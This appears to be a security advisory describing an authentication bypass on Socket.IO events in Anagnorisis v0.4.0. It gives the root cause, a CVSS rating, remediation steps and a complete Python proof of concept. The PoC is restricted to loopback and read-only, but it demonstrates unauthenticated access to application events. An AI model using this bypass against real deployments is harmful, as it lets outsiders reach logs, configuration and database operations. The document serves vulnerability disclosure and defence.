Logo Missing Authentication on Socket.IO Events in Anagnorisis v0.4.0

Missing Authentication on Socket.IO Events in Anagnorisis v0.4.0

Missing Authentication on Socket.IO Events in Anagnorisis v0.4.0#

Author: hiro

Affected versions: Anagnorisis v0.3.1 through v0.4.0 (source-confirmed); Anagnorisis v0.4.0 (dynamically reproduced)

Vendor: volotat GitHub Profile

Product: Anagnorisis

Affected file: app.py

Tested commit: acce76065cd4cecf6eaed5bee8691e95c85964d4

Description#

Anagnorisis supports HTTP Basic Authentication when both ANAGNORISIS_USERNAME and ANAGNORISIS_PASSWORD are configured. The authentication requirement is installed as a Flask before_request hook in app.py. It protects ordinary Flask routes, but it is not enforced during the Socket.IO connection handshake or before Socket.IO event handlers execute.

The connect handler accepts a client without credentials and immediately sends log and module-status information. The same client can invoke application events, including task-manager, database-import, configuration, media-library and model-training operations.

The issue is independently exploitable without path traversal or a malicious web Origin. cors_allowed_origins="*" increases browser reachability and is therefore recorded as a secondary hardening issue, not reported as a separate vulnerability.

Security Impact#

An unauthenticated network client can cross a security boundary which the operator explicitly enabled and invoke functionality intended for the authenticated application user. Depending on enabled modules and process permissions, this exposes application logs and state and permits operations that modify the database, media-library state, configuration and background tasks.

The supplied PoC performs only a read-only task-manager state query.

Preconditions#

  • The Anagnorisis Socket.IO endpoint is reachable by the attacker.

  • HTTP Basic Authentication is configured. This is necessary to demonstrate the intended boundary and its inconsistent enforcement.

  • No valid application credentials are required by the attacker.

Classification and Severity#

  • Primary weakness: CWE-306 — Missing Authentication for Critical Function

  • Secondary hardening issue: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains

  • Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 Critical

The score reflects the set of security-sensitive events exposed by the missing boundary, not merely the read-only event used by the safe PoC. An assessor who scores only the demonstrated state disclosure should lower the impact metrics.

Proof of Concept#

Safety#

The PoC refuses non-loopback targets, sends no credentials, changes no files or database records and invokes only task_manager_get_state.

Environment#

Use an isolated checkout and the product's Docker deployment:

git clone https://github.com/volotat/Anagnorisis.git
Set-Location .\Anagnorisis
git checkout v0.4.0
Copy-Item .\docker-compose.override.example.yaml .\docker-compose.override.yaml

Configure synthetic media and project-data directories in docker-compose.override.yaml. Keep the loopback port binding and enable Basic Authentication:

services:
anagnorisis:
  ports:
    - "127.0.0.1:5001:5001"
  environment:
    - ANAGNORISIS_USERNAME=lab-user
    - ANAGNORISIS_PASSWORD=lab-password

Start the application:

docker compose up -d --build

Save the complete source from the next section as poc_socket_auth_bypass.py, then run it from a separate client environment:

python -m venv .poc-venv
.\.poc-venv\Scripts\python.exe -m pip install requests python-socketio
.\.poc-venv\Scripts\python.exe .\poc_socket_auth_bypass.py `
 --target http://127.0.0.1:5001

Expected vulnerable result:

{
 "http_without_credentials": 401,
 "socket_connected_without_credentials": true,
 "socket_origin": "http://127.0.0.1:5001",
 "status": "CONFIRMED",
 "target": "http://127.0.0.1:5001",
 "task_manager_state_keys": [
   "active",
   "history",
   "queued",
   "schedulers"
],
 "task_manager_state_returned": true
}

The 401 negative control proves that Basic Authentication is active. The subsequent successful Socket.IO call proves that the same security boundary is not applied to Socket.IO.

Complete PoC Source#

#!/usr/bin/env python3
"""Loopback-only PoC for Anagnorisis v0.4.0 Socket.IO auth bypass."""
​
from __future__ import annotations
​
import argparse
import json
from urllib.parse import urlparse
​
import requests
import socketio
​
​
LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"}
​
​
def loopback_url(value: str) -> str:
   parsed = urlparse(value)
   if parsed.scheme not in {"http", "https"} or parsed.hostname not in LOOPBACK_HOSTS:
       raise argparse.ArgumentTypeError("target must be an HTTP(S) loopback URL")
   return value.rstrip("/")
​
​
def main() -> None:
   parser = argparse.ArgumentParser()
   parser.add_argument("--target", required=True, type=loopback_url)
   parser.add_argument("--timeout", default=8.0, type=float)
   args = parser.parse_args()
​
   parsed = urlparse(args.target)
   same_origin = f"{parsed.scheme}://{parsed.netloc}"
   http_response = requests.get(args.target + "/", timeout=args.timeout)
​
   client = socketio.Client(
       reconnection=False,
       logger=False,
       engineio_logger=False,
       request_timeout=args.timeout,
  )
   result: dict[str, object] = {
       "target": args.target,
       "http_without_credentials": http_response.status_code,
       "socket_origin": same_origin,
       "socket_connected_without_credentials": False,
       "task_manager_state_returned": False,
  }
   try:
       client.connect(
           args.target,
           headers={"Origin": same_origin},
           transports=["polling"],
           wait_timeout=args.timeout,
      )
       result["socket_connected_without_credentials"] = client.connected
       state = client.call(
           "task_manager_get_state",
          {},
           timeout=args.timeout,
      )
       result["task_manager_state_returned"] = isinstance(state, dict)
       result["task_manager_state_keys"] = sorted(state) if isinstance(state, dict) else []
   finally:
       if client.connected:
           client.disconnect()
​
   confirmed = (
       result["http_without_credentials"] == 401
       and result["socket_connected_without_credentials"] is True
       and result["task_manager_state_returned"] is True
  )
   result["status"] = "CONFIRMED" if confirmed else "NOT_CONFIRMED"
   print(json.dumps(result, indent=2, sort_keys=True))
   if not confirmed:
       raise SystemExit(2)
​
​
if __name__ == "__main__":
   main()

Root Cause#

Flask's before_request lifecycle is not an authorization layer for Socket.IO events. The application assumes that protecting Flask views also protects the persistent event channel:

@app.before_request
@auth_decorator
def before_request_auth():
   pass
​
socketio = SocketIO(app, cors_allowed_origins="*", path="/socket.io")
​
@socketio.on("connect")
def handle_connect():
   log_streamer.send_log_history()

No authentication check is made in handle_connect, and no event-level authorization wrapper is applied.

Recommended Remediation#

  1. Authenticate the Socket.IO handshake and return False for invalid or absent credentials.

  2. Apply centralized authorization to every security-sensitive event instead of relying only on the connection handler.

  3. Remove the wildcard Origin policy or replace it with an explicit allowlist.

  4. Add integration tests asserting identical access decisions for HTTP and Socket.IO when Basic Authentication is enabled.

  5. Avoid broadcasting private state to all connected clients.

Fix Verification#

A local proposal added Socket.IO handshake authentication, restricted Origins and retained ordinary authenticated functionality. The original application accepted the unauthenticated PoC; the patched application rejected it. This is a local validation result, not an upstream fix or fixed release.

Duplicate and Disclosure Status#

GitHub Security Advisories, public issues, NVD, CVE/GHSA, VulDB and exact event names were checked on 2026-07-28. No public same-project report was found. This does not exclude private reports or reserved identifiers.

The vendor has not been contacted, no advisory has been published, no VulDB entry has been submitted and no CVE has been requested.

Last updated on